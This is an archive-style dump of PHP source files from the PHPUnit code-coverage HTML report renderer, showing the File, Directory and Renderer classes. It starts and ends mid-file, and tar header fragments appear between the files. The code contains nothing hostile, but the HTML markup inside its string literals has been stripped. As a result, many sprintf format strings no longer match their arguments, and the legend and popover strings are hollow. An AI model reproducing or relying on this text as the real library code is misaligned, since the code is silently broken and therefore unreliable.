T_YIELD_FROM; use function array_key_exists; use function array_pop; use function array_unique; use function constant; use function count; use function defined; use function explode; use function file_get_contents; use function htmlspecialchars; use function is_string; use function sprintf; use function str_replace; use function substr; use function token_get_all; use function trim; use PHPUnit\Runner\BaseTestRunner; use SebastianBergmann\CodeCoverage\Node\File as FileNode; use SebastianBergmann\CodeCoverage\Util\Percentage; use SebastianBergmann\Template\Template; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class File extends Renderer { /** * @psalm-var array */ private static $keywordTokens = []; /** * @var array */ private static $formattedSourceCache = []; /** * @var int */ private $htmlSpecialCharsFlags = ENT_COMPAT | ENT_HTML401 | ENT_SUBSTITUTE; public function render(FileNode $node, string $file): void { $templateName = $this->templatePath . ($this->hasBranchCoverage ? 'file_branch.html' : 'file.html'); $template = new Template($templateName, '{{', '}}'); $this->setCommonTemplateVariables($template, $node); $template->setVar( [ 'items' => $this->renderItems($node), 'lines' => $this->renderSourceWithLineCoverage($node), 'legend' => '

        ExecutedNot ExecutedDead Code

        ', 'structure' => '', ] ); $template->renderTo($file . '.html'); if ($this->hasBranchCoverage) { $template->setVar( [ 'items' => $this->renderItems($node), 'lines' => $this->renderSourceWithBranchCoverage($node), 'legend' => '

        Fully coveredPartially coveredNot covered

        ', 'structure' => $this->renderBranchStructure($node), ] ); $template->renderTo($file . '_branch.html'); $template->setVar( [ 'items' => $this->renderItems($node), 'lines' => $this->renderSourceWithPathCoverage($node), 'legend' => '

        Fully coveredPartially coveredNot covered

        ', 'structure' => $this->renderPathStructure($node), ] ); $template->renderTo($file . '_path.html'); } } private function renderItems(FileNode $node): string { $templateName = $this->templatePath . ($this->hasBranchCoverage ? 'file_item_branch.html' : 'file_item.html'); $template = new Template($templateName, '{{', '}}'); $methodTemplateName = $this->templatePath . ($this->hasBranchCoverage ? 'method_item_branch.html' : 'method_item.html'); $methodItemTemplate = new Template( $methodTemplateName, '{{', '}}' ); $items = $this->renderItemTemplate( $template, [ 'name' => 'Total', 'numClasses' => $node->numberOfClassesAndTraits(), 'numTestedClasses' => $node->numberOfTestedClassesAndTraits(), 'numMethods' => $node->numberOfFunctionsAndMethods(), 'numTestedMethods' => $node->numberOfTestedFunctionsAndMethods(), 'linesExecutedPercent' => $node->percentageOfExecutedLines()->asFloat(), 'linesExecutedPercentAsString' => $node->percentageOfExecutedLines()->asString(), 'numExecutedLines' => $node->numberOfExecutedLines(), 'numExecutableLines' => $node->numberOfExecutableLines(), 'branchesExecutedPercent' => $node->percentageOfExecutedBranches()->asFloat(), 'branchesExecutedPercentAsString' => $node->percentageOfExecutedBranches()->asString(), 'numExecutedBranches' => $node->numberOfExecutedBranches(), 'numExecutableBranches' => $node->numberOfExecutableBranches(), 'pathsExecutedPercent' => $node->percentageOfExecutedPaths()->asFloat(), 'pathsExecutedPercentAsString' => $node->percentageOfExecutedPaths()->asString(), 'numExecutedPaths' => $node->numberOfExecutedPaths(), 'numExecutablePaths' => $node->numberOfExecutablePaths(), 'testedMethodsPercent' => $node->percentageOfTestedFunctionsAndMethods()->asFloat(), 'testedMethodsPercentAsString' => $node->percentageOfTestedFunctionsAndMethods()->asString(), 'testedClassesPercent' => $node->percentageOfTestedClassesAndTraits()->asFloat(), 'testedClassesPercentAsString' => $node->percentageOfTestedClassesAndTraits()->asString(), 'crap' => 'CRAP', ] ); $items .= $this->renderFunctionItems( $node->functions(), $methodItemTemplate ); $items .= $this->renderTraitOrClassItems( $node->traits(), $template, $methodItemTemplate ); $items .= $this->renderTraitOrClassItems( $node->classes(), $template, $methodItemTemplate ); return $items; } private function renderTraitOrClassItems(array $items, Template $template, Template $methodItemTemplate): string { $buffer = ''; if (empty($items)) { return $buffer; } foreach ($items as $name => $item) { $numMethods = 0; $numTestedMethods = 0; foreach ($item['methods'] as $method) { if ($method['executableLines'] > 0) { $numMethods++; if ($method['executedLines'] === $method['executableLines']) { $numTestedMethods++; } } } if ($item['executableLines'] > 0) { $numClasses = 1; $numTestedClasses = $numTestedMethods === $numMethods ? 1 : 0; $linesExecutedPercentAsString = Percentage::fromFractionAndTotal( $item['executedLines'], $item['executableLines'] )->asString(); $branchesExecutedPercentAsString = Percentage::fromFractionAndTotal( $item['executedBranches'], $item['executableBranches'] )->asString(); $pathsExecutedPercentAsString = Percentage::fromFractionAndTotal( $item['executedPaths'], $item['executablePaths'] )->asString(); } else { $numClasses = 0; $numTestedClasses = 0; $linesExecutedPercentAsString = 'n/a'; $branchesExecutedPercentAsString = 'n/a'; $pathsExecutedPercentAsString = 'n/a'; } $testedMethodsPercentage = Percentage::fromFractionAndTotal( $numTestedMethods, $numMethods ); $testedClassesPercentage = Percentage::fromFractionAndTotal( $numTestedMethods === $numMethods ? 1 : 0, 1 ); $buffer .= $this->renderItemTemplate( $template, [ 'name' => $this->abbreviateClassName($name), 'numClasses' => $numClasses, 'numTestedClasses' => $numTestedClasses, 'numMethods' => $numMethods, 'numTestedMethods' => $numTestedMethods, 'linesExecutedPercent' => Percentage::fromFractionAndTotal( $item['executedLines'], $item['executableLines'], )->asFloat(), 'linesExecutedPercentAsString' => $linesExecutedPercentAsString, 'numExecutedLines' => $item['executedLines'], 'numExecutableLines' => $item['executableLines'], 'branchesExecutedPercent' => Percentage::fromFractionAndTotal( $item['executedBranches'], $item['executableBranches'], )->asFloat(), 'branchesExecutedPercentAsString' => $branchesExecutedPercentAsString, 'numExecutedBranches' => $item['executedBranches'], 'numExecutableBranches' => $item['executableBranches'], 'pathsExecutedPercent' => Percentage::fromFractionAndTotal( $item['executedPaths'], $item['executablePaths'] )->asFloat(), 'pathsExecutedPercentAsString' => $pathsExecutedPercentAsString, 'numExecutedPaths' => $item['executedPaths'], 'numExecutablePaths' => $item['executablePaths'], 'testedMethodsPercent' => $testedMethodsPercentage->asFloat(), 'testedMethodsPercentAsString' => $testedMethodsPercentage->asString(), 'testedClassesPercent' => $testedClassesPercentage->asFloat(), 'testedClassesPercentAsString' => $testedClassesPercentage->asString(), 'crap' => $item['crap'], ] ); foreach ($item['methods'] as $method) { $buffer .= $this->renderFunctionOrMethodItem( $methodItemTemplate, $method, ' ' ); } } return $buffer; } private function renderFunctionItems(array $functions, Template $template): string { if (empty($functions)) { return ''; } $buffer = ''; foreach ($functions as $function) { $buffer .= $this->renderFunctionOrMethodItem( $template, $function ); } return $buffer; } private function renderFunctionOrMethodItem(Template $template, array $item, string $indent = ''): string { $numMethods = 0; $numTestedMethods = 0; if ($item['executableLines'] > 0) { $numMethods = 1; if ($item['executedLines'] === $item['executableLines']) { $numTestedMethods = 1; } } $executedLinesPercentage = Percentage::fromFractionAndTotal( $item['executedLines'], $item['executableLines'] ); $executedBranchesPercentage = Percentage::fromFractionAndTotal( $item['executedBranches'], $item['executableBranches'] ); $executedPathsPercentage = Percentage::fromFractionAndTotal( $item['executedPaths'], $item['executablePaths'] ); $testedMethodsPercentage = Percentage::fromFractionAndTotal( $numTestedMethods, 1 ); return $this->renderItemTemplate( $template, [ 'name' => sprintf( '%s%s', $indent, $item['startLine'], htmlspecialchars($item['signature'], $this->htmlSpecialCharsFlags), $item['functionName'] ?? $item['methodName'] ), 'numMethods' => $numMethods, 'numTestedMethods' => $numTestedMethods, 'linesExecutedPercent' => $executedLinesPercentage->asFloat(), 'linesExecutedPercentAsString' => $executedLinesPercentage->asString(), 'numExecutedLines' => $item['executedLines'], 'numExecutableLines' => $item['executableLines'], 'branchesExecutedPercent' => $executedBranchesPercentage->asFloat(), 'branchesExecutedPercentAsString' => $executedBranchesPercentage->asString(), 'numExecutedBranches' => $item['executedBranches'], 'numExecutableBranches' => $item['executableBranches'], 'pathsExecutedPercent' => $executedPathsPercentage->asFloat(), 'pathsExecutedPercentAsString' => $executedPathsPercentage->asString(), 'numExecutedPaths' => $item['executedPaths'], 'numExecutablePaths' => $item['executablePaths'], 'testedMethodsPercent' => $testedMethodsPercentage->asFloat(), 'testedMethodsPercentAsString' => $testedMethodsPercentage->asString(), 'crap' => $item['crap'], ] ); } private function renderSourceWithLineCoverage(FileNode $node): string { $linesTemplate = new Template($this->templatePath . 'lines.html.dist', '{{', '}}'); $singleLineTemplate = new Template($this->templatePath . 'line.html.dist', '{{', '}}'); $coverageData = $node->lineCoverageData(); $testData = $node->testData(); $codeLines = $this->loadFile($node->pathAsString()); $lines = ''; $i = 1; foreach ($codeLines as $line) { $trClass = ''; $popoverContent = ''; $popoverTitle = ''; if (array_key_exists($i, $coverageData)) { $numTests = ($coverageData[$i] ? count($coverageData[$i]) : 0); if ($coverageData[$i] === null) { $trClass = 'warning'; } elseif ($numTests === 0) { $trClass = 'danger'; } else { if ($numTests > 1) { $popoverTitle = $numTests . ' tests cover line ' . $i; } else { $popoverTitle = '1 test covers line ' . $i; } $lineCss = 'covered-by-large-tests'; $popoverContent = '
          '; foreach ($coverageData[$i] as $test) { if ($lineCss === 'covered-by-large-tests' && $testData[$test]['size'] === 'medium') { $lineCss = 'covered-by-medium-tests'; } elseif ($testData[$test]['size'] === 'small') { $lineCss = 'covered-by-small-tests'; } $popoverContent .= $this->createPopoverContentForTest($test, $testData[$test]); } $popoverContent .= '
        '; $trClass = $lineCss . ' popin'; } } $popover = ''; if (!empty($popoverTitle)) { $popover = sprintf( ' data-title="%s" data-content="%s" data-placement="top" data-html="true"', $popoverTitle, htmlspecialchars($popoverContent, $this->htmlSpecialCharsFlags) ); } $lines .= $this->renderLine($singleLineTemplate, $i, $line, $trClass, $popover); $i++; } $linesTemplate->setVar(['lines' => $lines]); return $linesTemplate->render(); } private function renderSourceWithBranchCoverage(FileNode $node): string { $linesTemplate = new Template($this->templatePath . 'lines.html.dist', '{{', '}}'); $singleLineTemplate = new Template($this->templatePath . 'line.html.dist', '{{', '}}'); $functionCoverageData = $node->functionCoverageData(); $testData = $node->testData(); $codeLines = $this->loadFile($node->pathAsString()); $lineData = []; /** @var int $line */ foreach (array_keys($codeLines) as $line) { $lineData[$line + 1] = [ 'includedInBranches' => 0, 'includedInHitBranches' => 0, 'tests' => [], ]; } foreach ($functionCoverageData as $method) { foreach ($method['branches'] as $branch) { foreach (range($branch['line_start'], $branch['line_end']) as $line) { if (!isset($lineData[$line])) { // blank line at end of file is sometimes included here continue; } $lineData[$line]['includedInBranches']++; if ($branch['hit']) { $lineData[$line]['includedInHitBranches']++; $lineData[$line]['tests'] = array_unique(array_merge($lineData[$line]['tests'], $branch['hit'])); } } } } $lines = ''; $i = 1; /** @var string $line */ foreach ($codeLines as $line) { $trClass = ''; $popover = ''; if ($lineData[$i]['includedInBranches'] > 0) { $lineCss = 'success'; if ($lineData[$i]['includedInHitBranches'] === 0) { $lineCss = 'danger'; } elseif ($lineData[$i]['includedInHitBranches'] !== $lineData[$i]['includedInBranches']) { $lineCss = 'warning'; } $popoverContent = '
          '; if (count($lineData[$i]['tests']) === 1) { $popoverTitle = '1 test covers line ' . $i; } else { $popoverTitle = count($lineData[$i]['tests']) . ' tests cover line ' . $i; } $popoverTitle .= '. These are covering ' . $lineData[$i]['includedInHitBranches'] . ' out of the ' . $lineData[$i]['includedInBranches'] . ' code branches.'; foreach ($lineData[$i]['tests'] as $test) { $popoverContent .= $this->createPopoverContentForTest($test, $testData[$test]); } $popoverContent .= '
        '; $trClass = $lineCss . ' popin'; $popover = sprintf( ' data-title="%s" data-content="%s" data-placement="top" data-html="true"', $popoverTitle, htmlspecialchars($popoverContent, $this->htmlSpecialCharsFlags) ); } $lines .= $this->renderLine($singleLineTemplate, $i, $line, $trClass, $popover); $i++; } $linesTemplate->setVar(['lines' => $lines]); return $linesTemplate->render(); } private function renderSourceWithPathCoverage(FileNode $node): string { $linesTemplate = new Template($this->templatePath . 'lines.html.dist', '{{', '}}'); $singleLineTemplate = new Template($this->templatePath . 'line.html.dist', '{{', '}}'); $functionCoverageData = $node->functionCoverageData(); $testData = $node->testData(); $codeLines = $this->loadFile($node->pathAsString()); $lineData = []; /** @var int $line */ foreach (array_keys($codeLines) as $line) { $lineData[$line + 1] = [ 'includedInPaths' => [], 'includedInHitPaths' => [], 'tests' => [], ]; } foreach ($functionCoverageData as $method) { foreach ($method['paths'] as $pathId => $path) { foreach ($path['path'] as $branchTaken) { foreach (range($method['branches'][$branchTaken]['line_start'], $method['branches'][$branchTaken]['line_end']) as $line) { if (!isset($lineData[$line])) { continue; } $lineData[$line]['includedInPaths'][] = $pathId; if ($path['hit']) { $lineData[$line]['includedInHitPaths'][] = $pathId; $lineData[$line]['tests'] = array_unique(array_merge($lineData[$line]['tests'], $path['hit'])); } } } } } $lines = ''; $i = 1; /** @var string $line */ foreach ($codeLines as $line) { $trClass = ''; $popover = ''; $includedInPathsCount = count(array_unique($lineData[$i]['includedInPaths'])); $includedInHitPathsCount = count(array_unique($lineData[$i]['includedInHitPaths'])); if ($includedInPathsCount > 0) { $lineCss = 'success'; if ($includedInHitPathsCount === 0) { $lineCss = 'danger'; } elseif ($includedInHitPathsCount !== $includedInPathsCount) { $lineCss = 'warning'; } $popoverContent = '
          '; if (count($lineData[$i]['tests']) === 1) { $popoverTitle = '1 test covers line ' . $i; } else { $popoverTitle = count($lineData[$i]['tests']) . ' tests cover line ' . $i; } $popoverTitle .= '. These are covering ' . $includedInHitPathsCount . ' out of the ' . $includedInPathsCount . ' code paths.'; foreach ($lineData[$i]['tests'] as $test) { $popoverContent .= $this->createPopoverContentForTest($test, $testData[$test]); } $popoverContent .= '
        '; $trClass = $lineCss . ' popin'; $popover = sprintf( ' data-title="%s" data-content="%s" data-placement="top" data-html="true"', $popoverTitle, htmlspecialchars($popoverContent, $this->htmlSpecialCharsFlags) ); } $lines .= $this->renderLine($singleLineTemplate, $i, $line, $trClass, $popover); $i++; } $linesTemplate->setVar(['lines' => $lines]); return $linesTemplate->render(); } private function renderBranchStructure(FileNode $node): string { $branchesTemplate = new Template($this->templatePath . 'branches.html.dist', '{{', '}}'); $coverageData = $node->functionCoverageData(); $testData = $node->testData(); $codeLines = $this->loadFile($node->pathAsString()); $branches = ''; ksort($coverageData); foreach ($coverageData as $methodName => $methodData) { if (!$methodData['branches']) { continue; } $branchStructure = ''; foreach ($methodData['branches'] as $branch) { $branchStructure .= $this->renderBranchLines($branch, $codeLines, $testData); } if ($branchStructure !== '') { // don't show empty branches $branches .= '
        ' . $this->abbreviateMethodName($methodName) . '
        ' . "\n"; $branches .= $branchStructure; } } $branchesTemplate->setVar(['branches' => $branches]); return $branchesTemplate->render(); } private function renderBranchLines(array $branch, array $codeLines, array $testData): string { $linesTemplate = new Template($this->templatePath . 'lines.html.dist', '{{', '}}'); $singleLineTemplate = new Template($this->templatePath . 'line.html.dist', '{{', '}}'); $lines = ''; $branchLines = range($branch['line_start'], $branch['line_end']); sort($branchLines); // sometimes end_line < start_line /** @var int $line */ foreach ($branchLines as $line) { if (!isset($codeLines[$line])) { // blank line at end of file is sometimes included here continue; } $popoverContent = ''; $popoverTitle = ''; $numTests = count($branch['hit']); if ($numTests === 0) { $trClass = 'danger'; } else { $lineCss = 'covered-by-large-tests'; $popoverContent = '
          '; if ($numTests > 1) { $popoverTitle = $numTests . ' tests cover this branch'; } else { $popoverTitle = '1 test covers this branch'; } foreach ($branch['hit'] as $test) { if ($lineCss === 'covered-by-large-tests' && $testData[$test]['size'] === 'medium') { $lineCss = 'covered-by-medium-tests'; } elseif ($testData[$test]['size'] === 'small') { $lineCss = 'covered-by-small-tests'; } $popoverContent .= $this->createPopoverContentForTest($test, $testData[$test]); } $trClass = $lineCss . ' popin'; } $popover = ''; if (!empty($popoverTitle)) { $popover = sprintf( ' data-title="%s" data-content="%s" data-placement="top" data-html="true"', $popoverTitle, htmlspecialchars($popoverContent, $this->htmlSpecialCharsFlags) ); } $lines .= $this->renderLine($singleLineTemplate, $line, $codeLines[$line - 1], $trClass, $popover); } if ($lines === '') { return ''; } $linesTemplate->setVar(['lines' => $lines]); return $linesTemplate->render(); } private function renderPathStructure(FileNode $node): string { $pathsTemplate = new Template($this->templatePath . 'paths.html.dist', '{{', '}}'); $coverageData = $node->functionCoverageData(); $testData = $node->testData(); $codeLines = $this->loadFile($node->pathAsString()); $paths = ''; ksort($coverageData); foreach ($coverageData as $methodName => $methodData) { if (!$methodData['paths']) { continue; } $pathStructure = ''; if (count($methodData['paths']) > 100) { $pathStructure .= '

          ' . count($methodData['paths']) . ' is too many paths to sensibly render, consider refactoring your code to bring this number down.

          '; continue; } foreach ($methodData['paths'] as $path) { $pathStructure .= $this->renderPathLines($path, $methodData['branches'], $codeLines, $testData); } if ($pathStructure !== '') { $paths .= '
          ' . $this->abbreviateMethodName($methodName) . '
          ' . "\n"; $paths .= $pathStructure; } } $pathsTemplate->setVar(['paths' => $paths]); return $pathsTemplate->render(); } private function renderPathLines(array $path, array $branches, array $codeLines, array $testData): string { $linesTemplate = new Template($this->templatePath . 'lines.html.dist', '{{', '}}'); $singleLineTemplate = new Template($this->templatePath . 'line.html.dist', '{{', '}}'); $lines = ''; foreach ($path['path'] as $branchId) { $branchLines = range($branches[$branchId]['line_start'], $branches[$branchId]['line_end']); sort($branchLines); // sometimes end_line < start_line /** @var int $line */ foreach ($branchLines as $line) { if (!isset($codeLines[$line])) { // blank line at end of file is sometimes included here continue; } $popoverContent = ''; $popoverTitle = ''; $numTests = count($path['hit']); if ($numTests === 0) { $trClass = 'danger'; } else { $lineCss = 'covered-by-large-tests'; $popoverContent = '
            '; if ($numTests > 1) { $popoverTitle = $numTests . ' tests cover this path'; } else { $popoverTitle = '1 test covers this path'; } foreach ($path['hit'] as $test) { if ($lineCss === 'covered-by-large-tests' && $testData[$test]['size'] === 'medium') { $lineCss = 'covered-by-medium-tests'; } elseif ($testData[$test]['size'] === 'small') { $lineCss = 'covered-by-small-tests'; } $popoverContent .= $this->createPopoverContentForTest($test, $testData[$test]); } $trClass = $lineCss . ' popin'; } $popover = ''; if (!empty($popoverTitle)) { $popover = sprintf( ' data-title="%s" data-content="%s" data-placement="top" data-html="true"', $popoverTitle, htmlspecialchars($popoverContent, $this->htmlSpecialCharsFlags) ); } $lines .= $this->renderLine($singleLineTemplate, $line, $codeLines[$line - 1], $trClass, $popover); } } if ($lines === '') { return ''; } $linesTemplate->setVar(['lines' => $lines]); return $linesTemplate->render(); } private function renderLine(Template $template, int $lineNumber, string $lineContent, string $class, string $popover): string { $template->setVar( [ 'lineNumber' => $lineNumber, 'lineContent' => $lineContent, 'class' => $class, 'popover' => $popover, ] ); return $template->render(); } private function loadFile(string $file): array { if (isset(self::$formattedSourceCache[$file])) { return self::$formattedSourceCache[$file]; } $buffer = file_get_contents($file); $tokens = token_get_all($buffer); $result = ['']; $i = 0; $stringFlag = false; $fileEndsWithNewLine = substr($buffer, -1) === "\n"; unset($buffer); foreach ($tokens as $j => $token) { if (is_string($token)) { if ($token === '"' && $tokens[$j - 1] !== '\\') { $result[$i] .= sprintf( '%s', htmlspecialchars($token, $this->htmlSpecialCharsFlags) ); $stringFlag = !$stringFlag; } else { $result[$i] .= sprintf( '%s', htmlspecialchars($token, $this->htmlSpecialCharsFlags) ); } continue; } [$token, $value] = $token; $value = str_replace( ["\t", ' '], ['    ', ' '], htmlspecialchars($value, $this->htmlSpecialCharsFlags) ); if ($value === "\n") { $result[++$i] = ''; } else { $lines = explode("\n", $value); foreach ($lines as $jj => $line) { $line = trim($line); if ($line !== '') { if ($stringFlag) { $colour = 'string'; } else { $colour = 'default'; if ($this->isInlineHtml($token)) { $colour = 'html'; } elseif ($this->isComment($token)) { $colour = 'comment'; } elseif ($this->isKeyword($token)) { $colour = 'keyword'; } } $result[$i] .= sprintf( '%s', $colour, $line ); } if (isset($lines[$jj + 1])) { $result[++$i] = ''; } } } } if ($fileEndsWithNewLine) { unset($result[count($result) - 1]); } self::$formattedSourceCache[$file] = $result; return $result; } private function abbreviateClassName(string $className): string { $tmp = explode('\\', $className); if (count($tmp) > 1) { $className = sprintf( '%s', $className, array_pop($tmp) ); } return $className; } private function abbreviateMethodName(string $methodName): string { $parts = explode('->', $methodName); if (count($parts) === 2) { return $this->abbreviateClassName($parts[0]) . '->' . $parts[1]; } return $methodName; } private function createPopoverContentForTest(string $test, array $testData): string { $testCSS = ''; if ($testData['fromTestcase']) { switch ($testData['status']) { case BaseTestRunner::STATUS_PASSED: switch ($testData['size']) { case 'small': $testCSS = ' class="covered-by-small-tests"'; break; case 'medium': $testCSS = ' class="covered-by-medium-tests"'; break; default: $testCSS = ' class="covered-by-large-tests"'; break; } break; case BaseTestRunner::STATUS_SKIPPED: case BaseTestRunner::STATUS_INCOMPLETE: case BaseTestRunner::STATUS_RISKY: case BaseTestRunner::STATUS_WARNING: $testCSS = ' class="warning"'; break; case BaseTestRunner::STATUS_FAILURE: case BaseTestRunner::STATUS_ERROR: $testCSS = ' class="danger"'; break; } } return sprintf( '%s', $testCSS, htmlspecialchars($test, $this->htmlSpecialCharsFlags) ); } private function isComment(int $token): bool { return $token === T_COMMENT || $token === T_DOC_COMMENT; } private function isInlineHtml(int $token): bool { return $token === T_INLINE_HTML; } private function isKeyword(int $token): bool { return isset(self::keywordTokens()[$token]); } /** * @psalm-return array */ private static function keywordTokens(): array { if (self::$keywordTokens !== []) { return self::$keywordTokens; } self::$keywordTokens = [ T_ABSTRACT => true, T_ARRAY => true, T_AS => true, T_BREAK => true, T_CALLABLE => true, T_CASE => true, T_CATCH => true, T_CLASS => true, T_CLONE => true, T_CONST => true, T_CONTINUE => true, T_DECLARE => true, T_DEFAULT => true, T_DO => true, T_ECHO => true, T_ELSE => true, T_ELSEIF => true, T_EMPTY => true, T_ENDDECLARE => true, T_ENDFOR => true, T_ENDFOREACH => true, T_ENDIF => true, T_ENDSWITCH => true, T_ENDWHILE => true, T_EVAL => true, T_EXIT => true, T_EXTENDS => true, T_FINAL => true, T_FINALLY => true, T_FOR => true, T_FOREACH => true, T_FUNCTION => true, T_GLOBAL => true, T_GOTO => true, T_HALT_COMPILER => true, T_IF => true, T_IMPLEMENTS => true, T_INCLUDE => true, T_INCLUDE_ONCE => true, T_INSTANCEOF => true, T_INSTEADOF => true, T_INTERFACE => true, T_ISSET => true, T_LIST => true, T_NAMESPACE => true, T_NEW => true, T_PRINT => true, T_PRIVATE => true, T_PROTECTED => true, T_PUBLIC => true, T_REQUIRE => true, T_REQUIRE_ONCE => true, T_RETURN => true, T_STATIC => true, T_SWITCH => true, T_THROW => true, T_TRAIT => true, T_TRY => true, T_UNSET => true, T_USE => true, T_VAR => true, T_WHILE => true, T_YIELD => true, T_YIELD_FROM => true, ]; if (defined('T_FN')) { self::$keywordTokens[constant('T_FN')] = true; } if (defined('T_MATCH')) { self::$keywordTokens[constant('T_MATCH')] = true; } if (defined('T_ENUM')) { self::$keywordTokens[constant('T_ENUM')] = true; } if (defined('T_READONLY')) { self::$keywordTokens[constant('T_READONLY')] = true; } return self::$keywordTokens; } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Directory.php000064400000011541147577714370025323 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Html; use function count; use function sprintf; use function str_repeat; use SebastianBergmann\CodeCoverage\Node\AbstractNode as Node; use SebastianBergmann\CodeCoverage\Node\Directory as DirectoryNode; use SebastianBergmann\Template\Template; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Directory extends Renderer { public function render(DirectoryNode $node, string $file): void { $templateName = $this->templatePath . ($this->hasBranchCoverage ? 'directory_branch.html' : 'directory.html'); $template = new Template($templateName, '{{', '}}'); $this->setCommonTemplateVariables($template, $node); $items = $this->renderItem($node, true); foreach ($node->directories() as $item) { $items .= $this->renderItem($item); } foreach ($node->files() as $item) { $items .= $this->renderItem($item); } $template->setVar( [ 'id' => $node->id(), 'items' => $items, ] ); $template->renderTo($file); } private function renderItem(Node $node, bool $total = false): string { $data = [ 'numClasses' => $node->numberOfClassesAndTraits(), 'numTestedClasses' => $node->numberOfTestedClassesAndTraits(), 'numMethods' => $node->numberOfFunctionsAndMethods(), 'numTestedMethods' => $node->numberOfTestedFunctionsAndMethods(), 'linesExecutedPercent' => $node->percentageOfExecutedLines()->asFloat(), 'linesExecutedPercentAsString' => $node->percentageOfExecutedLines()->asString(), 'numExecutedLines' => $node->numberOfExecutedLines(), 'numExecutableLines' => $node->numberOfExecutableLines(), 'branchesExecutedPercent' => $node->percentageOfExecutedBranches()->asFloat(), 'branchesExecutedPercentAsString' => $node->percentageOfExecutedBranches()->asString(), 'numExecutedBranches' => $node->numberOfExecutedBranches(), 'numExecutableBranches' => $node->numberOfExecutableBranches(), 'pathsExecutedPercent' => $node->percentageOfExecutedPaths()->asFloat(), 'pathsExecutedPercentAsString' => $node->percentageOfExecutedPaths()->asString(), 'numExecutedPaths' => $node->numberOfExecutedPaths(), 'numExecutablePaths' => $node->numberOfExecutablePaths(), 'testedMethodsPercent' => $node->percentageOfTestedFunctionsAndMethods()->asFloat(), 'testedMethodsPercentAsString' => $node->percentageOfTestedFunctionsAndMethods()->asString(), 'testedClassesPercent' => $node->percentageOfTestedClassesAndTraits()->asFloat(), 'testedClassesPercentAsString' => $node->percentageOfTestedClassesAndTraits()->asString(), ]; if ($total) { $data['name'] = 'Total'; } else { $up = str_repeat('../', count($node->pathAsArray()) - 2); $data['icon'] = sprintf('', $up); if ($node instanceof DirectoryNode) { $data['name'] = sprintf( '%s', $node->name(), $node->name() ); $data['icon'] = sprintf('', $up); } elseif ($this->hasBranchCoverage) { $data['name'] = sprintf( '%s [line] [branch] [path]', $node->name(), $node->name(), $node->name(), $node->name() ); } else { $data['name'] = sprintf( '%s', $node->name(), $node->name() ); } } $templateName = $this->templatePath . ($this->hasBranchCoverage ? 'directory_item_branch.html' : 'directory_item.html'); return $this->renderItemTemplate( new Template($templateName, '{{', '}}'), $data ); } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer.php000064400000024234147577714370023362 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Html; use function array_pop; use function count; use function sprintf; use function str_repeat; use function substr_count; use SebastianBergmann\CodeCoverage\Node\AbstractNode; use SebastianBergmann\CodeCoverage\Node\Directory as DirectoryNode; use SebastianBergmann\CodeCoverage\Node\File as FileNode; use SebastianBergmann\CodeCoverage\Version; use SebastianBergmann\Environment\Runtime; use SebastianBergmann\Template\Template; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ abstract class Renderer { /** * @var string */ protected $templatePath; /** * @var string */ protected $generator; /** * @var string */ protected $date; /** * @var int */ protected $lowUpperBound; /** * @var int */ protected $highLowerBound; /** * @var bool */ protected $hasBranchCoverage; /** * @var string */ protected $version; public function __construct(string $templatePath, string $generator, string $date, int $lowUpperBound, int $highLowerBound, bool $hasBranchCoverage) { $this->templatePath = $templatePath; $this->generator = $generator; $this->date = $date; $this->lowUpperBound = $lowUpperBound; $this->highLowerBound = $highLowerBound; $this->version = Version::id(); $this->hasBranchCoverage = $hasBranchCoverage; } protected function renderItemTemplate(Template $template, array $data): string { $numSeparator = ' / '; if (isset($data['numClasses']) && $data['numClasses'] > 0) { $classesLevel = $this->colorLevel($data['testedClassesPercent']); $classesNumber = $data['numTestedClasses'] . $numSeparator . $data['numClasses']; $classesBar = $this->coverageBar( $data['testedClassesPercent'] ); } else { $classesLevel = ''; $classesNumber = '0' . $numSeparator . '0'; $classesBar = ''; $data['testedClassesPercentAsString'] = 'n/a'; } if ($data['numMethods'] > 0) { $methodsLevel = $this->colorLevel($data['testedMethodsPercent']); $methodsNumber = $data['numTestedMethods'] . $numSeparator . $data['numMethods']; $methodsBar = $this->coverageBar( $data['testedMethodsPercent'] ); } else { $methodsLevel = ''; $methodsNumber = '0' . $numSeparator . '0'; $methodsBar = ''; $data['testedMethodsPercentAsString'] = 'n/a'; } if ($data['numExecutableLines'] > 0) { $linesLevel = $this->colorLevel($data['linesExecutedPercent']); $linesNumber = $data['numExecutedLines'] . $numSeparator . $data['numExecutableLines']; $linesBar = $this->coverageBar( $data['linesExecutedPercent'] ); } else { $linesLevel = ''; $linesNumber = '0' . $numSeparator . '0'; $linesBar = ''; $data['linesExecutedPercentAsString'] = 'n/a'; } if ($data['numExecutablePaths'] > 0) { $pathsLevel = $this->colorLevel($data['pathsExecutedPercent']); $pathsNumber = $data['numExecutedPaths'] . $numSeparator . $data['numExecutablePaths']; $pathsBar = $this->coverageBar( $data['pathsExecutedPercent'] ); } else { $pathsLevel = ''; $pathsNumber = '0' . $numSeparator . '0'; $pathsBar = ''; $data['pathsExecutedPercentAsString'] = 'n/a'; } if ($data['numExecutableBranches'] > 0) { $branchesLevel = $this->colorLevel($data['branchesExecutedPercent']); $branchesNumber = $data['numExecutedBranches'] . $numSeparator . $data['numExecutableBranches']; $branchesBar = $this->coverageBar( $data['branchesExecutedPercent'] ); } else { $branchesLevel = ''; $branchesNumber = '0' . $numSeparator . '0'; $branchesBar = ''; $data['branchesExecutedPercentAsString'] = 'n/a'; } $template->setVar( [ 'icon' => $data['icon'] ?? '', 'crap' => $data['crap'] ?? '', 'name' => $data['name'], 'lines_bar' => $linesBar, 'lines_executed_percent' => $data['linesExecutedPercentAsString'], 'lines_level' => $linesLevel, 'lines_number' => $linesNumber, 'paths_bar' => $pathsBar, 'paths_executed_percent' => $data['pathsExecutedPercentAsString'], 'paths_level' => $pathsLevel, 'paths_number' => $pathsNumber, 'branches_bar' => $branchesBar, 'branches_executed_percent' => $data['branchesExecutedPercentAsString'], 'branches_level' => $branchesLevel, 'branches_number' => $branchesNumber, 'methods_bar' => $methodsBar, 'methods_tested_percent' => $data['testedMethodsPercentAsString'], 'methods_level' => $methodsLevel, 'methods_number' => 